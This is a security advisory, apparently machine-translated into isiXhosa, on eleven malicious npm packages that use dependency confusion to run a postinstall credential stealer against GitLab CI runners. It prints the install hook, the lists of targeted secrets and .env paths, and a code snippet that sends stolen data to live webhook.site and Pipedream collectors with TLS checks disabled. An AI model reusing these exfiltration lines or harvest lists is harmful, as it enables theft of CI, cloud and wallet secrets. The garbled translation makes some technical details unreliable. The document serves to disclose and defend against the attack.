TL; DR
Ngomhla wama-2026-06-17, kwapapashwa iakhawunti enye ye-npm iipakeji ezilishumi elinanye ezabelana ngenjongo enye kunye nomthwalo omnyeEzilishumi kuzo ziphethe cryptodao- isimaphambili (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ishumi elinanye yi-scoped @public-for-cdao/coreYonke ipapashwe kwinguqulelo yayo 99.99.99 kwaye ithumela i-byte-efanayo recon.js oko kuqhubeka postinstall.
Amagama achaza. Afundeka njengeebhloko zokwakha zangaphakathi ze-crypto/DAO toolchain yabucala yeprojekthi. Ipapashwe kwirejista kawonke-wonke ye-npm kwinguqulelo ephezulu yokwenziwa, bahlala belinde ukwakhiwa. pipeline eyenzelwe ukusombulula loo magama kwaye ifikelela kwi-public npm ngaphambi - okanye endaweni yoko - kwirejista yabucala. Oku yi ukudideka kokuxhomekeka, kwaye umthwalo ulungiselelwe kanye apho ulindele ukufika khona: CI/CD abagijimi.
Nini postinstall imililo, recon.js uqokelela iinkcukacha zomsingathi, ususa ngokukhawuleza iinguqu ezingamashumi amane zelifu, i-CI, kunye ne-crypto-wallet, ifunda nayiphi na .env ifayili enokuyifumana ize ithumele imigca eyimfihlo ngqo, ize ithumele loo phakheji kubaqokeleli ababini — webhook.site kunye nesiphelo sePipedream — kunye nokuqinisekiswa kwesatifikethi seTLS okukhutshaziwe. Ikopi ikwabhalwe phantsi /tmp.
Ubunzima: phezuluInkqubo yendalo echaphazelekayo: npmZonke iipakeji ezilishumi elinanye bezikho ngexesha lokubhalwa kwale ncwadi.
Uhlaselo lwe-anatomy
Le ndlela inezinto ezine ezihambayo, kwaye akukho nanye kuzo engabonakaliyo xa sele uyazi. Jonga umaleko omnye ngaphaya kwegama lephakheji.
1. Uguqulelo lokunyuswa kwexabiso njengesixhobo sokusombulula ingxaki. Iphakheji nganye ivakalisa inguqulelo 99.99.99Ukudideka kokuxhomekeka kusebenza xa umphathi wephakheji, ecela igama langaphakathi, likwajonga irejista kawonke-wonke kwaye likhethe eyona nguqulelo iphezulu kuyo ifumana. Ukhetho oluzenzekelayo luka-npm lwe-caret okanye uluhlu lwe-wildcard lu inguqulelo eyanelisa kakhulu kuyo yonke imithombo ecwangcisiweyo; ukuba zombini ziyimfihlo irejista kunye nempendulo kawonke-wonke ye-npm yegama elifanayo, inani lenguqulelo enkulu liyaphumelela. A 99.99.99 idlula phantse nayiphi na inguqulelo yangaphakathi yokwenyani eya kuba nayo iprojekthi kufikelelwe, ngoko ke umntu osombulula ingxaki engaxhonywanga kumthombo wabucala ukhetha uluntu — kwaye kule meko, olunenzondo — ikopi. Umsebenzisi akufuneki azi Iinombolo zokwenyani zenguqulelo yokwenyani yojoliso; ukukhetha ubuninzi obungenangqondo kuqinisekisa ukuba itayi ihlala ilingana baphula indlela yabo.
2. Isiqalisi emva kokufakwa. iphakheji.json ifaka umthwalo kwi-payload kwi-install Umnqa wobomi:
{ "scripts": { "postinstall": "node recon.js" } }Akukho mfuneko yokungenisa iphakheji. Ukuyifaka nje — nto leyo i-CI pipeline yenza ngokuzenzekelayo - isebenza i-recon.js.
3. Ukusasazwa okufihlakeleyo okubanzi. i-recon.js iqokelela uluhlu lweziphumo ngokwamanqanaba:
- Umxholo womsingathi: igama lomenzi, iqonga kunye nokukhululwa, uyilo, igama lomsebenzisi, ukusebenza lawulo.
- Izinto eziguquguqukayo kwimeko-bume: iphinda-phinda uluhlu oluzinzileyo lwamagama amalunga namashumi amane kunye neerekhodi naziphi na ezimiselweyo. Uluhlu luyatyhila — ludibanisa iithokheni ze-CI eziqhelekileyo (CI_JOB_TOKEN, I-CI_REGISTRY_PASSWORD, I-GITLAB_ACCESS_TOKENkunye nelifu iziqinisekiso (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) kunye neemfihlo zobhaliso kunye neekhonteyina (NPM_TOKEN, I-DOCKER_PASSWORD, I-HARBOR_PASSWORD) kunye neqela elinongwe ngendlela ye-crypto: ISIXHOBO_SESIBUCALA, I-MNEMONIC, I-SEED_PHRASE, ISIHLOKO_SE-INFURA_API, I-ALCHEMY_API_KEY, I-ETH_RPC, BSC_RPCAmaxabiso arekhodiweyo ancitshiswa abe ziimpawu zokuqala ezingama-50.
- .env iifayile: iphanda uluhlu lweendlela — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, kwaye i imveliso/.uphuhliso iinguqulelo - kwaye kuyo nayiphi na ifayile ekhoyo, yona ihluza umxholo kwimigca ehambelanayo ISIHLOKO|IMFIHLO|ITHOKISI|IPHUPHA|YABUCALA|UKUKHUMBULA kwaye ityhala loo migca **ngokupheleleyo, inganqunyulwanga** kwiziphumo.
- Umxholo we-build-host: udwelisa iingeniso zokuqala ezingama-20 ze /yakha/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, yaye / tmp /.
Uluhlu lwendlela kunye noluhlu oluguquguqukayo lulinganiswa kubagijimi beGitLab, nto leyo ekhomba umthwalo ohlawulwayo ngokukodwa kwiziseko zophuhliso ze-CI eziziphetheyo endaweni yomphuhlisi ilaptop. Ukudibanisa uluhlu lwesivuno ngokweendidi kwenza ukuba ukuthutha okucetywayo kube lula:
Iqela le-crypto yinxalenye eyahlula oku kwimfihlo ye-CI eqhelekileyo ukutshaya: amabinzana embewu yesipaji kunye nezitshixo zokusayina zivela kuphela kwindawo iprojekthi ye-blockchain, kwaye bayifaka ngqo kwi i-cryptodao-/uphawu/izivumelwano amagama abathwali.
4. Ukuphuma kabini ngaphandle kokuqinisekisa kuvaliwe. Uluhlu oluqokelelweyo lu i-serialized kwaye ithunyelwe kwiindawo ezimbini:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })ukwalaOkungagunyaziswanga: buxoki icima ukujonga isiqinisekiso se-TLS sokuphuma iifowuni. Idatha efanayo iprintwa kwi-stdout (ngoko ke ikwafumaneka kwiirekhodi zomsebenzi ze-CI) kwaye ibhalwe ku /tmp/.npm_recon_ .jsonIimpazamo ziginywa buthule, ngoko ke umntu Ukuthumela okungaphumeleliyo akushiyi mkhondo kwimveliso yokufaka ngaphaya kweyodwa [phinda ujonge] ifakiwe kwi umgca.
Ingxelo ephambili kwifayile iyichaza njenge "Ukudideka kokuxhomekeka" Umthwalo wokuqonda kwakhona.” Ukunqunyulwa kwamaxabiso okusingqongileyo ukuya koonobumba abangama-50 kuye imilo yobungqina bengcamango. Into eyishukumisayo idlule kwisibane esibonakalayo kuphela .env ukuphatha: imigca ethwele imfihlo ithunyelwa ngokupheleleyo, kwaye iindawo eziya kuzo ngabaqokeleli ababini abasebenzayo, abalawulwa ngabahlaseli kunokuba sisinki esibalulekileyo kuphela ukubetha.
Ixesha
Ipateni yokupapasha lutyikityo lwesiginitsha esinye esibhaliweyo, hayi ishumi elinanye ukulayisha okuzimeleyo.
Iipakeji ezilishumi zaphuma ngaphakathi kwefestile yemizuzwana engama-29, malunga nenye kwimizuzwana emithathu. I-scoped @uluntu-lwe-cdao/umxholo kulandelwe malunga nemizuzu engama-24 emva koko — umzuzwana indlela yokubiza amagama kwinjongo efanayo, ukuba iprojekthi esetyenziswayo ibhekisa kwi i-internal toolchain phantsi komda endaweni yamagama angenanto.
Iimpawu zokuvumelana
Ukuchazwa kunye nokuziphatha okubonwayo
Yonke into malunga neqela ikhomba kwelinye icala. Zonke iipakeji ezilishumi elinanye zipapashwe yiakhawunti ye-npm umntu omdala (aduljune@proton.me, idilesi engaqinisekiswanga engena indawo yokugcina imithombo edibeneyo), ngaphakathi komzuzu wemizuzu engama-25, ngexesha elifanayo 99.99.99 uguqulelo, ukuthumela i- i-recon.js umxholo wayo ufana nge-byte-for-byte kuyo yonke iphakheji (i-MD5 ihambelana kuzo zonke iikopi ezilishumi elinanye ezikhutshiweyo). Loo ngumthwalo omnye istampu kuluhlu lwamagama, kungekhona ukusetyenziswa kwakhona kwekhowudi ngokuzimeleyo.
Uluhlu lwamagama luchaza injongo ekujoliswe kuyo. i-cryptodao-* kwaye cdao Chaza uyilo lwemodyuli yabucala yeprojekthi ye-crypto/DAO, kunye noluhlu lokuvuna lomthwalo izibuko eziqikelelayo: ecaleni kwe-CI eqhelekileyo kunye neemfihlo zelifu, ngokukodwa ifikelela kwi ISIXHOBO_SESIBUCALA, I-MNEMONIC, I-SEED_PHRASEkunye ne-Ethereum/BSC RPC kunye izitshixo zomboneleli. .env iindlela zokukhangela kunye noluhlu lweedirectory ziyi-GitLab-runner Isiphumo esibonakalayo kukuba naluphi na pipeline bakhohlisiwe ukuba bafake ezi amagama aya kuthumela iithokheni zayo zeCI, izitshixo zelifu, kunye ne-on-disk .env iimfihlo — kwaye, ngenxa iprojekthi ye-blockchain, izinto zayo zesipaji — kubaqokeleli ababini beqela lesithathu.
Asinabango malunga nokuba ngubani oqhuba iakhawunti okanye ukuba baceba ukwenza ntoni ngayo Idatha. Iinyani ezizimeleyo: amagama ajolise kuhlobo oluthile isixhobo sangaphakathi, umthwalo womvuzo ufunda kwaye udlulise amaxabiso ayimfihlo okwenyani, kwaye iziseko zophuhliso bezisebenza.
Impembelelo, iindlela, kunye nesikhokelo somkhuseli
Ukudideka kokuxhomekeka ihlala isebenza kuba isebenzisa indlela yokuziphatha yokusombulula iingxaki, hayi ubuthathaka kuyo nayiphi na iphakheji. Isithwali apha asinto ibalulekileyo — ishumi elinanye liphantse libe lingenanto iipakethe - kodwa i-blast radius iyinto enjani na pipeline ngempazamo ukhetha i-public npm igama langaphakathi. Ii-CI runners zezona ndawo zimbi kakhulu zokwenza oko: zibamba kanye kanye iithokheni kunye .env iifayili ezifundwayo kule payload, kwaye bayazifaka ukuxhomekeka okungenanxibelelwano, ngoko ke postinstall ibaleka kungekho mntu uyijongileyo.
Eli qela likwahambelana nepatheni esihlala siyibona: imithwalo yexesha lokufaka eboniswayo njengo "phando" okanye "uphando" ngelixa usenza uqokelelo lokwenene lweziqinisekiso. Ileyibhile kwifayile ayitshintshi into eyenziwa yikhowudi kwi-runner. Iinketho ezimbini zoyilo ziyaqhubeka umsebenzi uthule: yonke imisebenzi yenethiwekhi kunye nenkqubo yefayile isongelwe kwi isiphatho esingaqhelekanga esilahla iimpazamo, ngoko ke ukuthumela okuvaliweyo okanye ifayile elahlekileyo ayivelisi ziphumo zokuxilonga, kwaye into eprintiweyo kuphela yinto enye engenabungozi [phinda ujonge] … ifakiwe umgca odibana nencoko eqhelekileyo yokufaka. Ukusetyenziswa kwe webhook.site kwaye iPipedream ikwayindlela elula yokwenza izinto — zombini zisimahla, iinkonzo zokubamba izicelo ezilungiselelwe ngoko nangoko, ngoko ke umsebenzisi akadingi ziseva ze ezabo kwaye iindawo eziya kuzo zifana namagama e-hostname aqhelekileyo e-SaaS kwiilog zokuphuma.
Uqoqosho lulo olubangela ukuba oku kuxabiseke ingqalelo yomkhuseli nangona ikhowudi yomthwali ayibalulekanga. Ukubhalisa amagama alishumi elinanye akubizi mali, umthwalo umnye ifayile ikopishwe izihlandlo ezilishumi elinanye, kwaye umphathi wephakheji wenza konke ukuphunyezwa. iqwalaselwe kakubi pipeline naphi na apho kusetyenziswa elinye lala magama lihlawulela yonke into sebenza.
Amanyathelo acacileyo abakhuseli:
- Ncamathisela ii-scopes zangaphakathi kwirejista yakho yabucala. Lungiselela amagama angaphakathi e-npm ukuze
kwaye ii-scopes zisombulula kuphela ngokuchasene nerejista yakho (iimephu zerejista ye-scoped .npmrc, okanye i-proxy engaze iwele kwi-public npm kwiindawo zamagama eziphethwe ngabantu). Gcina amagama akho e-public scope ukuze kungabikho mntu unokuwabhalisa.
- Commit lockfiles kwaye ufake ngee-scripts ze--ignore kwi-CI apho kunokwenzeka khona, okanye jonga iseti encinci yokuxhomekeka efuna ngokwenene izikripthi zokufaka. i-recon.js ayinakusebenza ukuba postinstall ayiphunyezwanga.
- Phatha uhlobo lwe-99.99.99 (okanye olunye uhlobo oluphezulu ngokungaqhelekanga) lwegama elijongeka ngaphakathi njengeflegi ebomvu ekuphononongweni kokuxhomekeka kunye nokubeka esweni irejistri.
- Isilumkiso xa uphuma ngexesha lokufaka. A postinstall evula i-HTTPS ephumayo uqhagamshelo — ingakumbi xa ukuqinisekiswa kwesatifikethi kuvaliwe — ukuya I-webhook.site, iPipedream, okanye iinkonzo ezifanayo zokubamba izicelo zifanelekile ukuthintela kumda wenethiwekhi kwaye ziphawulwe kwiilog zokwakha.
- Zingela izinto zakudala. Jonga abagijimi ukuba /tmp/.npm_recon_*.json kunye [recon] ... ifakwe kwi ... uphawu kwiilog ze-CI zamva nje. Ukuba ifunyenwe, jikelezisa yonke isiqinisekiso esivezwe kuloo nto pipeline — Iithokheni ze-CI, izitshixo zelifu, iithokheni zobhaliso, kunye nazo naziphi na iimbewu zewallet okanye izitshixo zabucala ezikhoyo kwindawo okanye kwiifayile ze-.env.
Ucaphulo
Akukho ngxelo yangaphandle kweli qela eyayikho ngexesha lokubhalwa kwale ncwadi; uhlalutyo apha ngasentla isekelwe ngqo kwimixholo yephakheji epapashiweyo
